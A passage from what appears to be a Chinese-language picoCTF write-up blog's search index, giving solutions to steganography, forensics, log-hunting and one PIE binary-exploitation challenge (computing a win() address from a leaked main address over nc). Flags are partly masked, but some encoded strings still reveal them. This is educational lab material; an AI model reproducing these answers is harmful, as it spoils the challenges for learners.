your warmth.\nLove deep as merlot.\nScarlet leaves falling softly,\nBold in every stroke.x\nIDATx\nIEND\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e要找到使用 LSB 隱藏的資料，可以使用 \u003ccode\u003ezsteg\u003c/code\u003e 這個工具。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 7\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 8\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 9\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e10\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e11\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e12\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e13\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e14\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ewebshell:~$ zsteg red.png \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emeta Poem           .. text: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Crimson heart, vibrant and bold,\\nHearts flutter at your sight.\\nEvenings glow softly red,\\nCherries burst with sweet life.\\nKisses linger with your warmth.\\nLove deep as merlot.\\nScarlet leaves falling softly,\\nBold in every stroke.\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eb1,rgba,lsb,xy      .. text: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eb1,rgba,msb,xy      .. file: OpenPGP Public Key\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eb2,g,lsb,xy         .. text: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;ET@UETPETUUT@TUUTD@PDUDDDPE\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eb2,rgb,lsb,xy       .. file: OpenPGP Secret Key\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eb2,bgr,msb,xy       .. file: OpenPGP Public Key\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eb2,rgba,lsb,xy      .. file: OpenPGP Secret Key\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eb2,rgba,msb,xy      .. text: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;CIkiiiII\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eb2,abgr,lsb,xy      .. file: OpenPGP Secret Key\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eb2,abgr,msb,xy      .. text: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;iiiaakikk\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eb3,rgba,msb,xy      .. text: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;#wb#wp#7p\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eb3,abgr,msb,xy      .. text: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;7r\u0026#39;wb#7p\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eb4,b,lsb,xy         .. file: \u003cspan style=\"color:#ae81ff\"\u003e0421\u003c/span\u003e Alliant compact executable not stripped\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e可以發現輸出結果中有一段亂碼明顯是使用 base64 編碼後的文字，將其解碼即可得到 flag。\u003c/p\u003e","title":"RED"},{"content":"題目連結 https://learn.cylabacademy.org/library/490\n題目解法 下載原始碼後可以知道有一個 win() 函式，下載執行檔後進行使用 objdump 進行反組譯。反組譯後可以找到 win 和 main 的位址。\nobjdump -d vuln ... 00000000000012a7 \u0026lt;win\u0026gt;: 12a7: f3 0f 1e fa endbr64 12ab: 55 push %rbp 12ac: 48 89 e5 mov %rsp,%rbp 12af: 48 83 ec 10 sub $0x10,%rsp ... 000000000000133d \u0026lt;main\u0026gt;: 133d: f3 0f 1e fa endbr64 1341: 55 push %rbp 1342: 48 89 e5 mov %rsp,%rbp 1345: 48 83 ec 20 sub $0x20,%rsp 1349: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax ... 使用 nc 連線進去後會提供 main 的位址，可以反推出 win 的位址，輸入後即可得到 flag。\nwebshell:~$ nc rescued-float.picoctf.net 62616 Address of main: 0x61151072133d Enter the address to jump to, ex =\u0026gt; 0x12345: 0x6115107212a7 Your input: 6115107212a7 You won! picoCTF{b4s------------------------------eb8} ``` ","permalink":"https://picoctf-writeup.pinjim.dev/posts/binary-exploitation/pie-time/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/490\"\u003ehttps://learn.cylabacademy.org/library/490\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e下載原始碼後可以知道有一個 \u003ccode\u003ewin()\u003c/code\u003e 函式，下載執行檔後進行使用 \u003ccode\u003eobjdump\u003c/code\u003e 進行反組譯。反組譯後可以找到 \u003ccode\u003ewin\u003c/code\u003e 和 \u003ccode\u003emain\u003c/code\u003e 的位址。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eobjdump -d vuln\n\u003c/code\u003e\u003c/pre\u003e\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e...\n00000000000012a7 \u0026lt;win\u0026gt;:\n    12a7:       f3 0f 1e fa             endbr64 \n    12ab:       55                      push   %rbp\n    12ac:       48 89 e5                mov    %rsp,%rbp\n    12af:       48 83 ec 10             sub    $0x10,%rsp\n...\n000000000000133d \u0026lt;main\u0026gt;:\n    133d:       f3 0f 1e fa             endbr64 \n    1341:       55                      push   %rbp\n    1342:       48 89 e5                mov    %rsp,%rbp\n    1345:       48 83 ec 20             sub    $0x20,%rsp\n    1349:       64 48 8b 04 25 28 00    mov    %fs:0x28,%rax\n...\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e使用 \u003ccode\u003enc\u003c/code\u003e 連線進去後會提供 \u003ccode\u003emain\u003c/code\u003e 的位址，可以反推出 \u003ccode\u003ewin\u003c/code\u003e 的位址，輸入後即可得到 flag。\u003c/p\u003e","title":"PIE TIME"},{"content":"題目連結 https://learn.cylabacademy.org/library/505\n題目解法 使用 wget 下載檔案後，用 gunzip 解壓縮。\ngunzip disko-1.dd.gz 根據提示得知要使用 strings 指令，不過輸出的內容太多，因此使用 grep 過濾輸出內容，即可找到 flag。\nwebshell:~$ strings disko-1.dd | grep \u0026#34;picoCTF\u0026#34; picoCTF{1t5--------------------2ef} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/forensics/disko-1/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/505\"\u003ehttps://learn.cylabacademy.org/library/505\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e使用 \u003ccode\u003ewget\u003c/code\u003e 下載檔案後，用 \u003ccode\u003egunzip\u003c/code\u003e 解壓縮。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003egunzip disko-1.dd.gz\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e根據提示得知要使用 \u003ccode\u003estrings\u003c/code\u003e 指令，不過輸出的內容太多，因此使用 \u003ccode\u003egrep\u003c/code\u003e 過濾輸出內容，即可找到 flag。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ewebshell:~$ strings disko-1.dd  | grep \u0026#34;picoCTF\u0026#34;\npicoCTF{1t5--------------------2ef}\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003c/ol\u003e","title":"DISKO 1"},{"content":"題目連結 https://learn.cylabacademy.org/library/519\n題目解法 下載檔案後，根據題目提示可以知道檔案是一個 .jpg 檔案，使用十六進位編輯器查看也可以看到開頭有 JFIF。 不過單純將附檔名修改成 .jpg 是無法打開的，因為檔案有被修改過。正常 .jpg 檔案開頭應該是 FF D8 FF，但是現在檔案開頭是 5C 78 FF。修改完畢後打開就可以得到 flag。 picoCTF{r3s----------------------558} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/forensics/corrupted-file/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/519\"\u003ehttps://learn.cylabacademy.org/library/519\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e下載檔案後，根據題目提示可以知道檔案是一個 \u003ccode\u003e.jpg\u003c/code\u003e 檔案，使用十六進位編輯器查看也可以看到開頭有 \u003ccode\u003eJFIF\u003c/code\u003e。\n\u003cimg alt=\"原始檔案\" loading=\"lazy\" src=\"/posts/forensics/corrupted-file/before.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e不過單純將附檔名修改成 \u003ccode\u003e.jpg\u003c/code\u003e 是無法打開的，因為檔案有被修改過。正常 \u003ccode\u003e.jpg\u003c/code\u003e 檔案開頭應該是 \u003ccode\u003eFF D8 FF\u003c/code\u003e，但是現在檔案開頭是 \u003ccode\u003e5C 78 FF\u003c/code\u003e。修改完畢後打開就可以得到 flag。\n\u003cimg alt=\"修改過後的檔案\" loading=\"lazy\" src=\"/posts/forensics/corrupted-file/after.webp\"\u003e\n\u003cimg alt=\"flag\" loading=\"lazy\" src=\"/posts/forensics/corrupted-file/flag.jpg\"\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003epicoCTF{r3s----------------------558}\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003c/ol\u003e","title":"Corrupted file"},{"content":"題目連結 https://learn.cylabacademy.org/library/523\n題目解法 下載檔案根據提示知道要使用 base64 解碼，可以使用 base64 指令進行解碼。\nbase64 -d logs.txt \u0026gt; img.png 使用 file 指令可以知道是 .png 檔案。\nwebshell:~$ file img.jpg img.jpg: PNG image data, 896 x 1152, 8-bit/color RGB, non-interlaced 將圖片中的內容用 hex 解碼後即可得到 flag。\n7069636F4354467B666F72656E736963735F616E616C797369735F69735F616D617A696E675F35636363376362307D picoCTF{for--------------------------------cb0} 提示 假設是使用 picoCTF 提供的 webshell，要將檔案下載到本地，可以使用 sz 指令。\nsz img.png ","permalink":"https://picoctf-writeup.pinjim.dev/posts/forensics/flag-in-flame/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/523\"\u003ehttps://learn.cylabacademy.org/library/523\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e下載檔案根據提示知道要使用 base64 解碼，可以使用 \u003ccode\u003ebase64\u003c/code\u003e 指令進行解碼。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ebase64 -d logs.txt \u0026gt; img.png\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e使用 \u003ccode\u003efile\u003c/code\u003e 指令可以知道是 \u003ccode\u003e.png\u003c/code\u003e 檔案。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ewebshell:~$ file img.jpg \nimg.jpg: PNG image data, 896 x 1152, 8-bit/color RGB, non-interlaced\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cimg alt=\"png\" loading=\"lazy\" src=\"/posts/forensics/flag-in-flame/img.png\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e將圖片中的內容用 hex 解碼後即可得到 flag。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e7069636F4354467B666F72656E736963735F616E616C797369735F69735F616D617A696E675F35636363376362307D\n\u003c/code\u003e\u003c/pre\u003e\u003cpre tabindex=\"0\"\u003e\u003ccode\u003epicoCTF{for--------------------------------cb0}\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"提示\"\u003e提示\u003c/h2\u003e\n\u003cp\u003e假設是使用 picoCTF 提供的 webshell，要將檔案下載到本地，可以使用 \u003ccode\u003esz\u003c/code\u003e 指令。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003esz img.png\n\u003c/code\u003e\u003c/pre\u003e","title":"Flag in Flame"},{"content":"題目連結 https://learn.cylabacademy.org/library/524\n題目解法 下載檔案後使用 file 指令查看檔案資訊，發現 comment 的內容像是使用 base64 編碼的文字。\nwebshell:~$ file img.jpg img.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: \u0026#34;c3RlZ2hpZGU6Y0VGNmVuZHZjbVE9\u0026#34;, baseline, precision 8, 640x640, components 3 將 comment 解碼後得到：\nsteghide:cEF6endvcmQ= 將後半段再次使用 base64 解碼後得到：\npAzzword 根據解碼內容可以得知要使用 steghide，密碼為 pAzzword。\nwebshell:~$ steghide extract -sf img.jpg Enter passphrase: wrote extracted data to \u0026#34;flag.txt\u0026#34;. 得到 flag.txt。\nwebshell:~$ cat flag.txt picoCTF{h1d------------------cd0} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/forensics/hidden-in-plainsight/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/524\"\u003ehttps://learn.cylabacademy.org/library/524\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e下載檔案後使用 \u003ccode\u003efile\u003c/code\u003e 指令查看檔案資訊，發現 \u003ccode\u003ecomment\u003c/code\u003e 的內容像是使用 base64 編碼的文字。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ewebshell:~$ file img.jpg \nimg.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: \u0026#34;c3RlZ2hpZGU6Y0VGNmVuZHZjbVE9\u0026#34;, baseline, precision 8, 640x640, components 3\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e將 comment 解碼後得到：\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003esteghide:cEF6endvcmQ=\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e將後半段再次使用 base64 解碼後得到：\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003epAzzword\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e根據解碼內容可以得知要使用 \u003ccode\u003esteghide\u003c/code\u003e，密碼為 \u003ccode\u003epAzzword\u003c/code\u003e。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ewebshell:~$ steghide extract -sf img.jpg \nEnter passphrase: \nwrote extracted data to \u0026#34;flag.txt\u0026#34;.\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e得到 \u003ccode\u003eflag.txt\u003c/code\u003e。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ewebshell:~$ cat flag.txt \npicoCTF{h1d------------------cd0}\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003c/ol\u003e","title":"Hidden in plainsight"},{"content":"題目連結 https://learn.cylabacademy.org/library/527\n題目解法 下載得到 server.log 後，使用 cat 查看發現是很長的檔案，加上 grep 指令嘗試尋找 flag 開頭 \u0026quot;pico\u0026quot; 文字。 webshell:~$ cat server.log | grep \u0026#34;pico\u0026#34; [1990-08-09 10:00:10] INFO FLAGPART: picoCTF{us3_ [1990-08-09 11:04:27] INFO FLAGPART: picoCTF{us3_ [1990-08-09 11:04:29] INFO FLAGPART: picoCTF{us3_ [1990-08-09 11:04:37] INFO FLAGPART: picoCTF{us3_ [1990-08-09 12:19:23] INFO FLAGPART: picoCTF{us3_ [1990-08-09 12:19:29] INFO FLAGPART: picoCTF{us3_ [1990-08-09 12:19:32] INFO FLAGPART: picoCTF{us3_ 發現 flag 都是以 FLAGPART 開頭，因此再次使用 grep 指令尋找 webshell:~$ cat server.log | grep \u0026#34;FLAGPART\u0026#34; [1990-08-09 10:00:10] INFO FLAGPART: picoCTF{us3_ [1990-08-09 10:02:55] INFO FLAGPART: y0urlinux_ [1990-08-09 10:05:54] INFO FLAGPART: sk1lls_ [1990-08-09 10:05:55] INFO FLAGPART: sk1lls_ [1990-08-09 10:10:54] INFO FLAGPART: cedfa5fb} [1990-08-09 10:10:58] INFO FLAGPART: cedfa5fb} [1990-08-09 10:11:06] INFO FLAGPART: cedfa5fb} [1990-08-09 11:04:27] INFO FLAGPART: picoCTF{us3_ [1990-08-09 11:04:29] INFO FLAGPART: picoCTF{us3_ [1990-08-09 11:04:37] INFO FLAGPART: picoCTF{us3_ [1990-08-09 11:09:16] INFO FLAGPART: y0urlinux_ [1990-08-09 11:09:19] INFO FLAGPART: y0urlinux_ [1990-08-09 11:12:40] INFO FLAGPART: sk1lls_ [1990-08-09 11:12:45] INFO FLAGPART: sk1lls_ [1990-08-09 11:16:58] INFO FLAGPART: cedfa5fb} [1990-08-09 11:16:59] INFO FLAGPART: cedfa5fb} [1990-08-09 11:17:00] INFO FLAGPART: cedfa5fb} [1990-08-09 12:19:23] INFO FLAGPART: picoCTF{us3_ [1990-08-09 12:19:29] INFO FLAGPART: picoCTF{us3_ [1990-08-09 12:19:32] INFO FLAGPART: picoCTF{us3_ [1990-08-09 12:23:43] INFO FLAGPART: y0urlinux_ [1990-08-09 12:23:45] INFO FLAGPART: y0urlinux_ [1990-08-09 12:23:53] INFO FLAGPART: y0urlinux_ [1990-08-09 12:25:32] INFO FLAGPART: sk1lls_ [1990-08-09 12:28:45] INFO FLAGPART: cedfa5fb} [1990-08-09 12:28:49] INFO FLAGPART: cedfa5fb} [1990-08-09 12:28:52] INFO FLAGPART: cedfa5fb} 將 flag 以合理的順序組合。 picoCTF{us3-----------------------5fb} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/general-skills/log-hunt/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/527\"\u003ehttps://learn.cylabacademy.org/library/527\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e下載得到 \u003ccode\u003eserver.log\u003c/code\u003e 後，使用 \u003ccode\u003ecat\u003c/code\u003e 查看發現是很長的檔案，加上 \u003ccode\u003egrep\u003c/code\u003e 指令嘗試尋找 flag 開頭 \u003ccode\u003e\u0026quot;pico\u0026quot;\u003c/code\u003e 文字。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ewebshell:~$ cat server.log | grep \u0026#34;pico\u0026#34;\n[1990-08-09 10:00:10] INFO FLAGPART: picoCTF{us3_\n[1990-08-09 11:04:27] INFO FLAGPART: picoCTF{us3_\n[1990-08-09 11:04:29] INFO FLAGPART: picoCTF{us3_\n[1990-08-09 11:04:37] INFO FLAGPART: picoCTF{us3_\n[1990-08-09 12:19:23] INFO FLAGPART: picoCTF{us3_\n[1990-08-09 12:19:29] INFO FLAGPART: picoCTF{us3_\n[1990-08-09 12:19:32] INFO FLAGPART: picoCTF{us3_\n\u003c/code\u003e\u003c/pre\u003e\u003col start=\"2\"\u003e\n\u003cli\u003e發現 flag 都是以 \u003ccode\u003eFLAGPART\u003c/code\u003e 開頭，因此再次使用 \u003ccode\u003egrep\u003c/code\u003e 指令尋找\u003c/li\u003e\n\u003c/ol\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ewebshell:~$ cat server.log | grep \u0026#34;FLAGPART\u0026#34;\n[1990-08-09 10:00:10] INFO FLAGPART: picoCTF{us3_\n[1990-08-09 10:02:55] INFO FLAGPART: y0urlinux_\n[1990-08-09 10:05:54] INFO FLAGPART: sk1lls_\n[1990-08-09 10:05:55] INFO FLAGPART: sk1lls_\n[1990-08-09 10:10:54] INFO FLAGPART: cedfa5fb}\n[1990-08-09 10:10:58] INFO FLAGPART: cedfa5fb}\n[1990-08-09 10:11:06] INFO FLAGPART: cedfa5fb}\n[1990-08-09 11:04:27] INFO FLAGPART: picoCTF{us3_\n[1990-08-09 11:04:29] INFO FLAGPART: picoCTF{us3_\n[1990-08-09 11:04:37] INFO FLAGPART: picoCTF{us3_\n[1990-08-09 11:09:16] INFO FLAGPART: y0urlinux_\n[1990-08-09 11:09:19] INFO FLAGPART: y0urlinux_\n[1990-08-09 11:12:40] INFO FLAGPART: sk1lls_\n[1990-08-09 11:12:45] INFO FLAGPART: sk1lls_\n[1990-08-09 11:16:58] INFO FLAGPART: cedfa5fb}\n[1990-08-09 11:16:59] INFO FLAGPART: cedfa5fb}\n[1990-08-09 11:17:00] INFO FLAGPART: cedfa5fb}\n[1990-08-09 12:19:23] INFO FLAGPART: picoCTF{us3_\n[1990-08-09 12:19:29] INFO FLAGPART: picoCTF{us3_\n[1990-08-09 12:19:32] INFO FLAGPART: picoCTF{us3_\n[1990-08-09 12:23:43] INFO FLAGPART: y0urlinux_\n[1990-08-09 12:23:45] INFO FLAGPART: y0urlinux_\n[1990-08-09 12:23:53] INFO FLAGPART: y0urlinux_\n[1990-08-09 12:25:32] INFO FLAGPART: sk1lls_\n[1990-08-09 12:28:45] INFO FLAGPART: cedfa5fb}\n[1990-08-09 12:28:49] INFO FLAGPART: cedfa5fb}\n[1990-08-09 12:28:52] INFO FLAGPART: cedfa5fb}\n\u003c/code\u003e\u003c/pre\u003e\u003col start=\"3\"\u003e\n\u003cli\u003e將 flag 以合理的順序組合。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003epicoCTF{us3-----------------------5fb}\n\u003c/code\u003e\u003c/pre\u003e","title":"Log Hunt"},{"content":"題目連結 https://learn.cylabacademy.org/library/530\n題目解法 下載得到 confidential.pdf 後，打開會發現很多用黑色擋住的文字，但是不重要，重要的是根據題目提示我們要查看 pdf 檔案的 metadata。要查看 metadata 可以使用 pdf 閱讀器或是 exiftool(推薦)、pdfinfo 指令來查看，也可以用 strings 指令。\nwebshell:~$ exiftool confidential.pdf ExifTool Version Number : 12.40 File Name : confidential.pdf Directory : . File Size : 178 KiB File Modification Date/Time : 2025:11:07 19:17:33+00:00 File Access Date/Time : 2026:05:01 20:29:29+00:00 File Inode Change Date/Time : 2026:05:01 20:29:29+00:00 File Permissions : -rw-rw-r-- File Type : PDF File Type Extension : pdf MIME Type : application/pdf PDF Version : 1.7 Linearized : No Page Count : 1 Producer : PyPDF2 Author : cGljb0NURntwdXp6bDNkX20zdGFkYXRhX2YwdW5kIV9jMjA3MzY2OX0= 可以看到 Author 欄位是一串由英文字母及數字且 = 結尾的亂碼，可以推斷是 base64 編碼，解碼後得到 flag。\npicoCTF{puz--------------------------669} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/forensics/riddle-registry/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/530\"\u003ehttps://learn.cylabacademy.org/library/530\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e下載得到 \u003ccode\u003econfidential.pdf\u003c/code\u003e 後，打開會發現很多用黑色擋住的文字，但是不重要，重要的是根據題目提示我們要查看 pdf 檔案的 metadata。要查看 metadata 可以使用 pdf 閱讀器或是 \u003ccode\u003eexiftool\u003c/code\u003e(推薦)、\u003ccode\u003epdfinfo\u003c/code\u003e 指令來查看，也可以用 \u003ccode\u003estrings\u003c/code\u003e 指令。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ewebshell:~$ exiftool confidential.pdf \nExifTool Version Number         : 12.40\nFile Name                       : confidential.pdf\nDirectory                       : .\nFile Size                       : 178 KiB\nFile Modification Date/Time     : 2025:11:07 19:17:33+00:00\nFile Access Date/Time           : 2026:05:01 20:29:29+00:00\nFile Inode Change Date/Time     : 2026:05:01 20:29:29+00:00\nFile Permissions                : -rw-rw-r--\nFile Type                       : PDF\nFile Type Extension             : pdf\nMIME Type                       : application/pdf\nPDF Version                     : 1.7\nLinearized                      : No\nPage Count                      : 1\nProducer                        : PyPDF2\nAuthor                          : cGljb0NURntwdXp6bDNkX20zdGFkYXRhX2YwdW5kIV9jMjA3MzY2OX0=\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e可以看到 